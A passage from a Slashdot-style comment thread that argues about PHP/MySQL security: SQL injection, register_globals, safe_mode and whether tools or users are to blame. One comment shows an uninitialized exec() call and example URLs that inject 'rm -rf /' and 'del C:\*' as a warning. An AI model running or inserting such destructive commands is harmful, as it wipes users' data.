    By the way, I don't trust anyone who puts up a research project in Comic font. What is this guy, a 12 year old boy, or a 60 year old grandma? Either way, it's ugly and a Windows-specific font and I don't trust one word this llama says.

    One more rant - he doesn't talk about SQL in general, he talks about MySQL. There is a difference.

    (OK, I'll stop being a troll now :)

    1. Re:new security holes every DAY, huh? by oglueck · · Score: 1

      If you know what you're doing

      The problem is, most PHP hackers don't. This is pointed out in my PHP article.

  68. theory vs practice by kpharmer · · Score: 2, Interesting

    > Security does not belong in the database because it removes context of action.

    aha

    Well, rather than debate whether or not the data should be persisted in the context of its rules and actions (which doesn't work in reporting, btw), lets get down to what simply works.

    You need to plan on including security awareness within each layer and component of your architecture. Since we've moved beyond client-server we seldom now authenticate & authorize individual users in the database. That's fine, but locking down the data should still be done in any database, even if the granularity is now at the application level rather than the individual.

    The difference between today and ten years ago is that we're now mostly implementing database security at the application level of granularity.

    Here's a trivial example:
    - 20 users are in ldap group finance
    - all are also in ldap group report
    - 10 are also in ldap group invoice
    - 4 userids are used by the database:
    - userid invoice has ownership privs on invoice schema
    - userid gl has ownership privs on general ledger schema
    - userid fa has ownership privs on fixed-asset schema
    - userid report has read privs on above schemas
    - The invoice application will authenticate users via ldap service
    - The invoice application will use ldap service to authorize users using either report or invoice group depending on what the user attempts to do
    - The application(s) will connect to the database using either appropriate database userid. This will be used by database to ensure that invoice application does not attempt to write to general-ledger schema, etc.

    This isn't the end of your security concerns in the database. You've also got to lock down all your file systems, ensure that no users can create new database objects, etc, etc. That's also fairly straight-forward.

    Anyhow, don't get all hung up about where security must go - or in the interests of some kind of misguided purity you'll end up leaving giant gaping holes in your defenses. Implementing security at the application level of granularity is both simple and effective. Take advantage of it.

  69. Re:array[key] by aftk2 · · Score: 1

    Most likely because

    $array['key']
    'key' is most definitely a string.

    $array[key]
    First we have to check if 'key' has been defined as a constant

    define(key, 'blah')

    But, if it's not a constant, PHP converts it into a string.

    If you loop through an array a whole bunch of times and do it throughout your script...yeah, I'd imagine it'd impact performance (although I'm not sure if it would do so significantly)

    --
    concrete5: a cms made for marketing, but strong enough for geeks.
  70. From C to PHP & Admin Responsibilities by mabu · · Score: 3, Informative

    Being a low-level programmer, and specifically working on advanced CGI, awhile back I bowed to pressure to offer some of my web clients scripting abilities on their servers. I went with PHP/MySQL and started the process of learning about the language and its caveats.

    The first thing that completely freaked me out was the register_globals setting in PHP. I invited a PHP programming friend to come hang out and give me a little intro-tutorial into how he developed so that I could understand where these guys were coming from when developing apps. He proceeded to show me this "neat feature" called register_globals that makes it super easy to access passed parameters from the outside world. Of course it also makes it super easy for anyone on the planet to overload internal variables that could be used just about anywhere in the scripts. I've never seen such a dangerous "feature" [in a non-Microsoft product].

    And this all ties into the number one rule of programming. When you're coming from C/C++, 80% of your job involves data/input validation, so it's second nature to cover your ass. I found myself very confused at first over the dozens of different functions available to escape, unescape, tokenize and otherwise mangle input from/to various forms. No wonder developers are confused.

    But above all, there are basic tenets that the server admin should enforce that have the most impact on security. First off, NOBODY should be enabling register_globals - it's just a crutch for crappy programmers IMO. Second, safe_mode is a must. If you have an app that needs safe_mode to be disabled, then you are better off isolating that app to its own private server. Third, every application should have its own private database work area. I am amazed at developers who run multiple applications in a single database space. Fourth, the configuration of the web server needs to be such that PHP code is properly protected, with .htaccess restrictions in code lib directories and careful consideration over other virtualhosts that might have php disabled in a higher-level directory.

    Safe_mode is a good tool. It also creates annoyances for the customers, especially those who are writing apps that create files in their work area... this requires the admin's intervention to set up the proper permissions (and gives them a chance to give the client code a once-over for glaring errors).

    One thing I haven't quite figured out, and maybe I just need the proper Apache mod, but when a PHP app creates a file, it's owned by the web process and not the script user process, so in safe_mode, to get things working you either have to change permissions or give liberal directory permissions in order for things to work with user-uploaded code.

    Ultimately, the server admin should bit the bullet and refuse to give users access to certain dangerous "features" such as register_globals or non-safe_mode. It's just too easy to open a Pandora's box.

    1. Re:From C to PHP & Admin Responsibilities by justMichael · · Score: 1
      One thing I haven't quite figured out, and maybe I just need the proper Apache mod, but when a PHP app creates a file, it's owned by the web process and not the script user process, so in safe_mode, to get things working you either have to change permissions or give liberal directory permissions in order for things to work with user-uploaded code.

      Look into these, might help:

      Here is one for 1.3, but the disclaimer concerns me and running apache as root is not something I would do...

      http://www.snert.com/Software/mod_become/

      If you are running apache2.

      http://solaris.bluecoara.net/servers/apache/mod_su id2_en.phtml
    2. Re:From C to PHP & Admin Responsibilities by Backov · · Score: 1

      Your friend didn't teach you very well, you're spreading some FUD here.

      Try this.

      <?php

      $importantvar="blah";
      echo $importantvar;

      ?>

      Now try to call it with ?importantvar=somethingelse

      Doesn't work, obviously. Any variable that could be a security hole needs to be initialized. To do otherwise is inviting disaster.

      Saying that register_globals is a dangerous feature is about the same as saying pointers are a dangerous feature. Just because programmers can be (are) stupid most of the time, doesn't mean that it's not an extremely useful feature.

      Developers are confused? Where? Certainly not any of the PHP devs I know. It's not a tough language, but like any language - if you suck, your programs and security will too.

      Finally, I don't think you should be lecturing anyone on server security seeing that you got such a basic tenet plain wrong.

      --
      In the law there is no overlap between theft and copyright infringement whatsoever.
    3. Re:From C to PHP & Admin Responsibilities by mabu · · Score: 1

      Saying that register_globals is a dangerous feature is about the same as saying pointers are a dangerous feature. Just because programmers can be (are) stupid most of the time, doesn't mean that it's not an extremely useful feature.

      I couldn't disagree with you more. The feature is unnecessary and dangerous. It doesn't offer any additional functionality that wasn't available before. The convenience it saves is negated by the additional work you have to make to maintain the integrity of other variables you are working with.

      The example you cite is just one scenario among many others where things aren't so obvious. I'm fond of repurposing snippets of code where register_globals would wreak havoc: a routine that displays the content of a set of variables where in some cases these vars might be submitted and other times internally generated within other existing code. In a case like this, I don't override the value of a variable unless I check to first make sure it isn't already defined. Register_globals screws this up.

      This is very common in html/form applications where you might be re-displaying edited content previewing a form. I may have one set of code which handles filling out an empty form and editing an existing record. Keeping the variables undefined and retrieving them from GET/POST arrays allows me to reuse the code efficently and securely.

      There are always work-arounds but the bottom line is pulling the data from the standard GET/POST arrays is much more professional and secure. It enforces proper programming techniques. Register_globals is a crutch. But what do I know? I've only written a best selling book on CGI programming and my software has received Editor's Choice in PC Magazine. I'm just a n00b.

      Finally, I don't think you should be lecturing anyone on server security seeing that you got such a basic tenet plain wrong.

      Which basic tenet is that? Disagreeing with you?

    4. Re:From C to PHP & Admin Responsibilities by Backov · · Score: 1

      Yes, yes, you've got a really big dick I am sure.

      As for the tenet you got wrong - easy. You said that PHP allows the user to override variables when register_globals is set. It doesn't. It ONLY allows you to do that if they're not already set. This is you spreading FUD. I don't really care if you're a published author, you got it wrong.

      If for your own personal coding practices you want to turn it off, fine. No one is stopping you. But it's not dangerous and doing otherwise doesn't make you "unprofessional" as you've implied. I will quote another poster and old cliche here and say "A poor workman blames his tools."

      Remember never to use a language with pointers. Dangerous feature that.

      --
      In the law there is no overlap between theft and copyright infringement whatsoever.
    5. Re:From C to PHP & Admin Responsibilities by pacman+on+prozac · · Score: 1

      The difference is that an un-initialized pointer will throw an error on compile with gcc.

      PHP is perfectly happy with un-initialized variables.

      PHP in it's harshest mode will only complain about un-initialized variables if its a string and you try to run $value .= or if its an array and you try to use one of the array functions on it, plus a few others (e.g. unitialized mysql connections).

      Don't get me wrong, I've used PHP a lot and recommended it with success in my last work-place. register_globals is however a throw-back and something I'm sure the PHP team would rather forget as soon as possible. All of my apps have always worked fine with safe_mode on and register_globals off.

      I'd say part of professional is being forward-looking, so you should have been coding scripts that worked without register globals since the PHP manual starting moving that way, which was at least 2 years ago now.

    6. Re:From C to PHP & Admin Responsibilities by mabu · · Score: 1

      You said that PHP allows the user to override variables when register_globals is set. It doesn't.


      Arguing semantics with you is probably pointless so this will be my last reply because what you're bringing up is just argumentative and not productive (nor accurate), but I'll respond to this since you still seemed to have not gotten the point.

      1. register_globals allows users to override/overload (whatever you want to call it) variables.

      That statement is TRUE. I didn't say "pre-initialized variables" - I said variables. PHP does not require variables to be pre-initialized and there are probably more PHP scripts on the net without pre-initialization than otherwise, not to mention there are circumstances where you might not want the variables initialized.

      The only FUD here is you trying to cast a shadow of doubt over that saying that with proper variable declaration, it's a moot point. Yes, that's correct. But that's exactly why this feature is dangerous. If you do not initialize the variables but instead reference them within the script later, or you conditionally initialize them based on them not being defined, you have a SERIOUS security issue.

      PHP does NOT require variables to be intialized. Therefore register_globals further emphasizes bad programming habits and dangerous programmatic behavior.

      Your whiny diatribe about my point being FUD is ineffective.

      I challenge you to grab 10 random PHP scripts and find even half of them with 100% declared variables. I doubt you could. Register_globals exacerbates the bad programming problem exponentially.

      In a perfect world, all programmers would check write perfect code, initialize and cast all variables perfectly, validate and sanitize all input, and always know exactly what to expect. But we don't have this perfect world, so your whole argument doesn't mean a thing.

      The only FUD here is you trying to legitimize register_globals as something necessary. IT IS NOT.

      My solution to the problem:

      * turn register_globals OFF, require PHP developers to reference each variable they need specifically

      Your idea of security:

      * turn register_globals ON, expect every programmer on the server to write PERFECT code, and if not, examine each and every script to make sure there's no overloading... and since you like register_globals, you probably also have safe_mode disabled, so you've got a fun server there to play with. I just hope you're not handling any important data.

    7. Re:From C to PHP & Admin Responsibilities by Backov · · Score: 1

      Fine, my last reply to you, point form since you aren't worth much effort.

      I didn't whine.

      I didn't personally attack you, that was you.

      I never said register_globals was necessary.

      Perfect code isn't necessary, since only the occasional variable would cause a problem (ie, a security problem, not just a fuck up the script problem.)

      I am not going to bother to challenge you to do anything, kind of pointless isn't it. You don't know me, I don't know you.

      However, thanks to the magic of /., I'll never have to see one of your inane posts again.

      --
      In the law there is no overlap between theft and copyright infringement whatsoever.
    8. Re:From C to PHP & Admin Responsibilities by kuzb · · Score: 1

      Ok, lets back this up a second.

      First of all, register_globals being on is not in and of itself a danger. The danger is when people turn off undefined variable warnings and then fail to declare variables before use. There is no way to overload a variable if you initialize it first. While most languages force this, PHP does not, but that doesn't mean you shouldn't do it.

      In the most recent versions of PHP, register_globals is off by default. What this means is you need to access incoming variables through the $_GET, $_POST and $_COOKIE superglobal arrays. In other words, if you had an input with a name 'foo', instead of using $foo, you'd use $_POST['foo'] (or optionally $_REQUEST['foo']). Always, always, _always_ run with full error reporting during development, and _never_ disregard warnings. They are there for your protection.

      --
      BeauHD. Worst editor since kdawson.
    9. Re:From C to PHP & Admin Responsibilities by si618 · · Score: 1


      Fourth, the configuration of the web server needs to be such that PHP code is properly protected, with .htaccess restrictions in code lib directories and careful consideration over other virtualhosts that might have php disabled in a higher-level directory.

      Why not go even further? The only php scripts I place under document root (public_html) are those which have no database access or call other scripts which are tucked away from the public eye.

      Using the php_include directive makes this easy.

      peace
      si

      ps. I'd welcome any feedback from security experts (white or black, it's all good) about an open source tool i've written in PHP and Flash Actionscript. It's a database abstraction and automation layer - flashPash.sshnug.com - and since it typically stores database table and field metadata on the client side (and is therefore world readable), security was something I spent a fair bit of time being paranoid about.

      --
      Sometimes I doubt your commitment to Sparkle Motion
    10. Re:From C to PHP & Admin Responsibilities by pyrrhonist · · Score: 1
      I'll never have to see one of your inane posts again.

      If I can just jump in here for a moment... He wasn't being inane. This is a fundamental concept in software engineering.

      Let me ask you a quick question. This has to go off on a tangent for a bit, but bear with me, and then I'll get around to the PHP part...

      Suppose you want to deallocate a socket connection when you are finished using it.

      1. In Java you usually do this by using a finalize block to close the socket.
      2. In C++ you close the socket in your destructor.
      Q: Which method results in less leakage of resources?
      A: #2.

      Why? Because the deallocation of the socket is implicit instead of explicit. In this case, the socket gets closed when your object goes out of scope. In #1 you need to remember to explicitly code a finally block, which places the burden of resource tracking on the programmer. With RAII, the burden is on the language.

      Now what does this have to do with PHP? Well...
      Q: Which results in no security issues?

      1. Initializing a variable.
      2. Turning register_globals OFF.
      A: #2.
      Why? Because you don't have to explicitly remember to set a variable, all you need to do is turn register_globals off. In other words, the burden is no longer on the programmer.

      Explicitly having to check sanity is bad programming practice when the language has means to implicitly do it for you. This is why most modern languages implement some sort of garbage collection and bounds checking.

      In other words, do not create more work for yourself when security and stability are involved.

      --
      Show me on the doll where his noodly appendage touched you.
  71. Re:Blame should be shared between coder and langua by Frizzle+Fry · · Score: 1
    Languages which encourage the mixing of code and data make it extremely easy to write insecure code

    In what way? I can see how it makes it easy to write unmaintainable code.

    Because this is where all sorts of injection attacks come from (script injection, as well as the sql injection that's the focus here). If you mix code and data, and the data itself contains code, then that code can be executed, as it is now part of your script/ program. This means that a malicious user can put code in the data he supplies to your program and that code will get pasted in with the code you wrote, and run with the same security priviledges.
    --
    I'd rather be lucky than good.
  72. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  73. Broken SQL by Safety+Cap · · Score: 1
    >>Stored procedures still require SQL code to be embedded in the client code.

    >Say what? what variant of sql are you using that's this broken?

    That would probably be MySQL: the "choice" DB for Script Kiddies worldwide. Why make the database do all the heavy lifting, when you can shuffle it off to your PHP code? It is not like you're going to need to look at or maintain said code in six months/year.

    These are the same fools that count NOT NULL sometimes as NULL, and consider column constraints as only suggestions.

    --
    Yeah, right.
  74. Re:array[key] by B3ryllium · · Score: 2, Informative
    bzzt, sorry, you are incorrect (sort of :)) ... the safest way to perform that in a string is as follows:
    print ("{$array['key']}");
    Sure, it's ugly. But it works for objects, too:
    print ("{$item->getValue('Ham!')}");
    Anyway. La la la la la la ...
  75. Re:array[key] by Anonymous Coward · · Score: 0

    Why are PHP developers so freakin quote-happy.
    Example:
    print ("$array[key]");

    You dont need the quotes.

    In the uberhacker site:
    mysql_select_db ("$dbname")

    You dont need the quotes.
    Further, its faster to use single quotes since php wont look for variables within and no one seem to do it. PHP is the greatest language but I have to work with a bunch of lazy bastards.

  76. Being Objective by Anonymous Coward · · Score: 0

    I'm sorry but your comment comes off as a bunch of useless blanket statements to me. Don't get me wrong, I agree that maxing new and bad programmers with versatile tools that are both easy and dangerous to use is a fatal cocktail, but what are you exactly suggesting we do?

    So what's your solution? Making PHP/MySQL more difficult and more error prone like C/C++ so newbie programmers will run away?

    I've seen too much shitty C/C++ code to know no language/tool is idiot proof. Some are just more idiot resistant.

    Add the ability to have input arguments via the http request be automagically available to the running code shares a lot of the blame too.

    Wait a minute, programming languages are supposed to be functionally ornothological, but your complaint seems to suggest we somehow prevent the programmer from piping one variable to a paricular slot to fix one security exploit.

    How about just providing a coherant database library that properly encodes SQL data when building queries and the like?

  77. Yup Big Time by ericlp · · Score: 1

    Couldn't have said it better.

  78. Re:Blame should be shared between coder and langua by bringert · · Score: 1

    Some people are working on programmatic ways to express database queries. Have a look at HaskellDB for example.

  79. Register_Globals is good by KalvinB · · Score: 1

    Turning it off doesn't actually solve anything if you know how to code. And having it on makes it easier for everyone.

    If you're passing around variable values that a user shouldn't be able to change, you store them locally and give the user a key. The script then uses that key to open the file (or reference the table entry) to retrieve the values.

    Since the critical values are set inside the script and stored in a file that the user can't change, they can pass the values through globals all they want but those values will be overwritten by the time the variables are actually used.

    The other nice side effect of this method is that the user can't use any page but the one you give them to use your site. Since if they try to use some other site, the file with the values won't be generated and the processing script will just ignore the request since it can't find the file.

    This is what I use on Indie-Mail and the Anonymous E-Mailer. The user is just given a very long randomly generated key that references the file which stores the values for any variables that a user isn't allowed to change. When a user makes a request, the script checks that the file the key points to actually exists and then loads the values from the file.

    The fear of globals is just undue paranoia unless you really have no clue how to securly pass things around. If you really want to be secure, you ignore client input. It has nothing to do with whether or not the variable is global or not.

    For my real world example, the user sends the username and password exactly once and it is never returned to the client in any way shape or form. The server handles everything locally from there based on the SessionID and the IP address of the client.

    Ben

  80. SQLite allows more than one query, though by Sepodati · · Score: 1

    The SQLite extension does allow multiple queries per call, though, and this is being pushed/bundled with PHP5. It seems like there is a big push for this to be the "standard" database that you can always expect to be available (kind of how MySQL is now).

    ---John Holmes...

  81. Re:array[key] by Anonymous Coward · · Score: 0

    Yeah I don't thnk it's significant in terms of raw amounts of time, but comparatively it does make a large difference. I just threw together a quick little script to test it out, and here's an average sampling of the numbers I got:

    $array[key1] = 'value 1': 7.0095062255859E-05 seconds
    $array['key2'] = 'test_value': 1.8835067749023E-05 seconds
    $Key1Value = $array[key3]: 2.598762512207E-05 seconds
    $Key2Value = $array['key4']: 2.0027160644531E-05 seconds

    The biggest difference is in assigning a value to an array. While it's still fast, using quotes is 3-4 times faster than not using them so that is a relatively significant difference considering the only excuse for not using quotes is lazyness.

  82. THREAD CLOSED by Anonymous Coward · · Score: 0



    *** This thread is marked as CLOSED ***
    *** Please move on to another topic ***


  83. Re:Blame should be shared between coder and langua by binner1 · · Score: 1

    It seems that very few of the latest batch of new web app developers know what a database is and what they do. The vast majority that I've seen tend to use databases as a flat file for pulling info out of.

    I'll second that! I've been tasked with updating some old PHP apps to remove reliance on register_globals. In most cases, this has meant a total rewrite of the (really crappy) code. Most of the apps have a DB (and I mean this loosely) backend to them.

    Web design/programming courses that teach DB use should have a whole course devoted to DB normalization. I usually sit in front of the code shuddering for about half an hour before I'm able to dig in and get to work. I'm not kidding...I've got some real hall of fame $#!+ to wade through.

    For me, updating these apps has usually turned into re-writing them, from the DB structure up.

    -Ben

  84. Flamebait ( Re:A bad workman blames his tools) by JamesOfTheDesert · · Score: 1
    And it isn't PERL's fault that people use it to write utterly incomprehensible code.

    I know this is flamebait, but I can't resist: How in the world can someone who refers to Perl as PERL make disparging comments about Perl or its users?

    --

    Java is the blue pill
    Choose the red pill
    1. Re:Flamebait ( Re:A bad workman blames his tools) by Anonymous Coward · · Score: 0

      I know this is flamebait, but I can't resist: How in the world can someone who refers to Perl as PERL make disparging comments about Perl or its users?

      (a) Maybe he was capitalising it for EMPHASIS.
      (b) Maybe he doesn't know how it's normally written; so what? I can't write Chinese, does that mean I'm not allowed to think Chinese is difficult to read?
      (c) Maybe he was trolling, in which case YHL, HAND.

  85. SafeSQL will certainly help by Anonymous Coward · · Score: 1, Informative

    Just use SafeSQL, a database wrapper class that handles SQL injection very easily, among other very useful features. This one is a must-have for any PHP/SQL application IMHO.

  86. Re: cutting off an arm by kpharmer · · Score: 4, Insightful

    >>Or would you blame the workman who cuts off his arm with the buzz saw's totally unprotected blade?

    > Yes, I would: he was obviously doing something with the saw that was inappropriate

    Yeah, that's pretty much the line of the discredited 19th century factory-owners. They all insisted that worker injureries were due to carelessness on the part of the worker. Then people began to noticed that eventually almost all workers became completely disabled. About that time folks began to realize that a tool that requires you to be perfect 100% of the time is a flawed tool. Or a self-mutilation device, you pick.

    And the same arguement keeps resurfacing, btw. Not just among factory owners trying to preserve maximum profitability. But also amoung techies trying to defend crappy products:
    - RTFM
    - can't get a printer to work with cups? must be a newbie
    blah, blah, blah

    Then in the late 90s Usability and Information Architecture really took off. These guys saw a a few patterns:
    - the jack-assed argument that difficulty with a tool was the user's fault - resulted in lost users, lost sales, lost revenue. Those who insisted on blaming the workman rather than the tool - thankfully went out of business.
    - usability challenges also caused security vulnerabilities - when users couldn't figure out how to secure a device it became a liability to everyone. So, in this case the tool harmed the entire community not just one workman.

    The only interesting thing in the above comment is that you actually got modded-up for repeating a completely discredited notion. Sigh, probably just a clever troll and I fell for it...

  87. For a little explanation. by Dozix007 · · Score: 1

    I run Uberhacker.Com, the reason why there are so few articles on the site is because I have had about two months to put it together. I am trying now to get more up there, but I have school daily. I am not making excuses, but that is the main reason why.

    1. Re:For a little explanation. by Anonymous Coward · · Score: 0

      A self-proclaimed hacker? Your site is a piece of shit. I suggest you to pick up basic html scripting. Shame on ya!

    2. Re:For a little explanation. by Anonymous Coward · · Score: 0

      A self-proclamed hacker? Shame on ya. I'd suggest you to pick up basic html scripting. Kido.

  88. Re:array[key] by kuzb · · Score: 2, Informative

    to maintain consistancy, you can also use {} when interpolating complex variable types.

    ex: echo "blah blah {$array['key']} blah blah";

    it's bad to use $array[key]; outside of interpolation though, because PHP will first look for a constant called 'key' before it decides you're using a string. if you have a defined constant named 'key' it will use that first, which may not be desierable.

    --
    BeauHD. Worst editor since kdawson.
  89. I disagree by jesterzog · · Score: 1

    All tools can be used stupidly, and oddly enough the results really can be the fault of the operator. It is also possible for fault to lie in more than one area.

    I disagree with your post in many ways. This is the same logic that causes so many work-place accidents to be blamed on "human error" when they're really in combination with bad design that fails to take into account the practical limitations of human abilities. It's also the same logic that HCI advocates have been arguing against for some time now. Certainly the user does have to be responsible, but the design of a tool and how it's expected to be used should be taken just as seriously.

    For instance, if you design an aircraft that requires the pilot to reach over her left shoulder to adjust a control that will cause the plane to pitch to the right, it shouldn't be any great surprise that sooner or later someone's simply going to make an error. You can train pilots about how to fly the plane for as long as you like, but sooner or later someone's going to make a mistake, perhaps with drastic consequences. That's a fact, based on human limitations. It's also a fact that it wouldn't happen as often with interfaces that are designed more intuitively with the pilot in mind.

    Two possible ways around this are to:

    1. Design with the user in mind, so as to minimise mistakes.
    2. Design to allow for mistakes, so that when a mistake is made then there's enough slack for the user to recover.

    I'm not familiar with power tool accidents, but there are certainly a variety of situations where the tools can easily be considered at fault for their badly designed interfaces that consistently place unrealistic expectations on a user, yet the people are blamed for failing to operate the tools correctly.

  90. Path Checking by mfh · · Score: 1

    > Can anyone tell me how to do a solid path checking so I can include a module specified by a POST variable?

    Personally, I would create a table of values that lists the existing filenames.

    Possible fields:
    record_id (INT, PRIMARY KEY, AUTO INCREMENT)
    the_filename (VARCHAR 128) (ie: thatfile.php)

    Don't put the path in the_filename... hard code the path in your init file. ie: $FILENAME_PATH = '/images/birthday2004/';
    Then:

    print $PATH.$fields['the_filename'];
    or
    require($PATH. $fields['the_filename']);

    This way the file your clients request has to be in the table. :-)

    Make the POST var a numeric one, and that way you can quickly SELECT from the table, the record_id, and read the_filename.

    I've got examples of how to do this in the Gemsites code.

    --
    The dangers of knowledge trigger emotional distress in human beings.
  91. Re:array[key] by kuzb · · Score: 1

    If you call .000025 seconds "significant"

    Speed is not the reason to do it the right way, what it does behind the scenes is.

    --
    BeauHD. Worst editor since kdawson.
  92. Re:Blame should be shared between coder and langua by E_elven · · Score: 1

    Stored procedures are evil. Databases are meant to store data, all manipulation can and should be done at application level.

    --
    Marxist evolution is just N generations away!
  93. Re:array[key] by kuzb · · Score: 1

    Thanks for that completely useless analysis that doesn't even do us the favor of showing us the actual benchmark code.

    How many times did you need to iterate to make the script run that long? i'm guessing somewhere in the neighborhood of 100,000 - 250,000 iterations, which no sane web-based script would ever do.

    I do fully agree that you should quote array keys, however *speed* is not the reason to do it right. What it actually does *is*. Too many people bring up the "X is faster than Y" argument using completely unrealistic benchmarks to show their reasoning. A classic example of this brought up by people who go to fanatical lengths to optimize is double vs single quotes, which is so slight in it's speed difference it probably shouldn't be considered an optimization unless you're interpolating on the order of 100,000 - 200,000 times. If your PHP web-based script needs to do something like this for some real-world application, you need to rethink your logic.

    In fact, if you feel you really need to be splitting hairs over a fraction of a millisecond of execution time, you probably should be using a lower-level language (such as C) for the operation.

    --
    BeauHD. Worst editor since kdawson.
  94. This is not security.. by rofthorax · · Score: 1

    Its just informative PHP scripting, but
    still very very very very far off from
    really coding in PHP.. I'm thinking about writing my own sessions system.. Security in most php programs stinks anyhow, not much in the way of finer access restrictions.. I knwo of better ways, but I'm not going to tell nyah nyah nyah..

    PS- make sure you have the variable unification stuff turned off, you don't want people producing variables in your global scope, better to scope it to POST and GET associative arrays.. Scoping is fun and is necessary, people who code with globals are just asking for it.. Especially guys with

    exec($mycommand);

    What happens if $mycommand is not initialized?

    What if I did

    www.yoursite.com/yourscript.php?mycommand='rm -rf /'

    then repeated with

    www.yourname.com/yourscript.php?mycommand='del C:\*'

    lots of fun stuff..

    --
    Just say no to license servers!!
  95. Re:Blame should be shared between coder and langua by Anonymous Coward · · Score: 0

    Because this is where all sorts of injection attacks come from

    No, injection attacks are where data is supplied with characters that are special in some way to break down the boundary between code and data. Such a boundary already exists, no matter what language. When people complain about "mixing of code and data" in relation to PHP, they are usually talking about putting logic into HTML pages. A PHP page that outputs nothing can still be vulnerable to injection attacks.

  96. Re: cutting off an arm by Anonymous Coward · · Score: 0
    Not just among factory owners trying to preserve maximum profitability. But also amoung techies trying to defend crappy products: - RTFM
    Power tools obviously pose a much greater danger to their users than hand tools, if you do not RTFM. I for one am really happy that idiots like you have not succeeded in removing power tools from the market just becuase they pose a danger to those who feel that you should be able to use any product easily and safely without have to read a manual.
  97. Well done! by DahGhostfacedFiddlah · · Score: 1

    Thanks for that completely useless analysis that doesn't even do us the favor of showing us the actual benchmark code.

    You've done a great job of putting down our anonymous friend. I myself was absolutely horrified that he was interested enough in the problem that he would go to the trouble to benchmark the problem of all things, and document the actual effects. Oh! The horror!

    1. Re:Well done! by kuzb · · Score: 1

      The problem isn't that he benchmarked it, it's that he fails to show us HOW he benchmarked it. Most people try to benchmark things one way only, disregarding that results can change dramaticly based on many factors. How he benchmarked it is completely relevant, and his results are completely useless without it.

      --
      BeauHD. Worst editor since kdawson.
  98. Isn't it Happy Hacker site? by Anonymous Coward · · Score: 0

    By the way that link is Carolyn Meinel's. If you're into security you'll remember she's a fraud that has no knowledge of technology. ;)

  99. Sounds Like A "Write Code For Us" Contest by philsown · · Score: 1

    This whole "contest" sounds like "please write code for our web site for us." The first challenge is an article submission system like /.. The requirements read like a spec for work. "It should have this and this and this and be able to do this. And make it so we can reconfigure it for our database." Geeze. Some contest. It might be fun to submit really bad examples and see if they end up using them on their own site. OK, that's mean, but hey...

    --
    Kind Regards, Phillip
    1. Re:Sounds Like A "Write Code For Us" Contest by Dozix007 · · Score: 1

      Right, you figured me out. I actually farm out work to unsuspecting PHP newbs. You have ruined my ambitions at a successfull enterprise :P Come on, I could easily write an article submition script, not that difficult. That is why I chose such an idea for the first challenge. And about the configuration, ever consider that it may be a bit difficult to host these scripts on the site if I can't configure them ? Oh and those crazy specs. Again, think for a few seconds. It does help to have standards and rules for a challenge. If the scripts are nothing alike, then it would not be a fair or accurate challenge.

  100. Re: cutting off an arm by BK425 · · Score: 1

    I agree with the comment in the context of product design. But the original statement wasn't a question of product design but of responsibility.
    Yes, product design leads to failures but it doesn't cause them. Someone cutting off an arm with the unprotected blade of a circular saw (I've no idea what a "buzz saw" is and I've done construction) has not cut off their arm because the saw was badly designed, they cut it off because they applied a blade to their arm. Yes, product design could have helped them but that does not absolve the user of the responsibility for having been the -cause-. There are two contexts at play here: HCI design and "responsibility" in the wider world. Bringing bizarre and irelevent metaphors about industrialization era labor exploitation into it notwithstanding. Oh, and yes. People -do- cut themselves with protected circular saw blades all of the time. That doesn't mean the designer of the blade protector caused those accidents, it means that both designers and users should exercise due care.

  101. Re: cutting off an arm by bucknuggets · · Score: 1

    Keep in mind that many tools fail in catastrophic and *non-intuitive* ways, and people do not always have a choice of what tools they get to use (except perhaps in some theoretical Ayn Rand world). It is unreasonable to hold users responsible for failure modes that are not obvious - but that the engineers of the product are aware of. There are, of course, special cases in which protecting the users from harm is nearly impossible. However, there are many cases in which a simple design element can save lives & limbs. When a company is too cheap to spend $0.14 on a deadmans switch for a large machine that requires someone to climb inside to repair - and a few people die each year because of the combined savings of $3.72 - we've got a problem. Fortunately, the courts solved that problem. Back to the original subject: a software tool that very easily fails in a way that is hazardous, when this could easily be prevented - is flawed. It isn't the 'bad workman' it's the 'bad tool'.

  102. Why by mfh · · Score: 1

    > Why should I switch to Linux/PHP/mySQL

    Hardly any security problems will crash VB at runtime. Same goes for PHP. Security and bugs are two different things, really. Security is a system design plan, while bugs are merely accidents that crop up from time to time. Some bugs are caused by incorrect system design, and others are merely accidental.

    Why you should switch is entirely up to you. VB and PHP are not the same system at all. VB creates executable code, and PHP is only a scripting solution. For my needs, PHP is the best choice. What are your needs?

    --
    The dangers of knowledge trigger emotional distress in human beings.
    1. Re:Why by Beliskner · · Score: 1
      What are your needs?
      Most "PHP for dummies" books/tutorials don't make it clear how to program PHP securely from the outset, and don't emphasise these bits. As with all corporate projects, I need a way to port a huge (80k LOC) VB/IIS web app project over to PHP in a couple of days without it failing and me/my staff looking incompetent.
      --
      A caveman dreams of being us, the incalculable power and riches. We dream of being Q, then what?
  103. Outsource? by mfh · · Score: 1

    > I need a way to port a huge (80k LOC) VB/IIS web app project over to PHP in a couple of days without it failing and me/my staff looking incompetent.

    Maybe you could outsource it to someone? I'm not very busy right now...

    --
    The dangers of knowledge trigger emotional distress in human beings.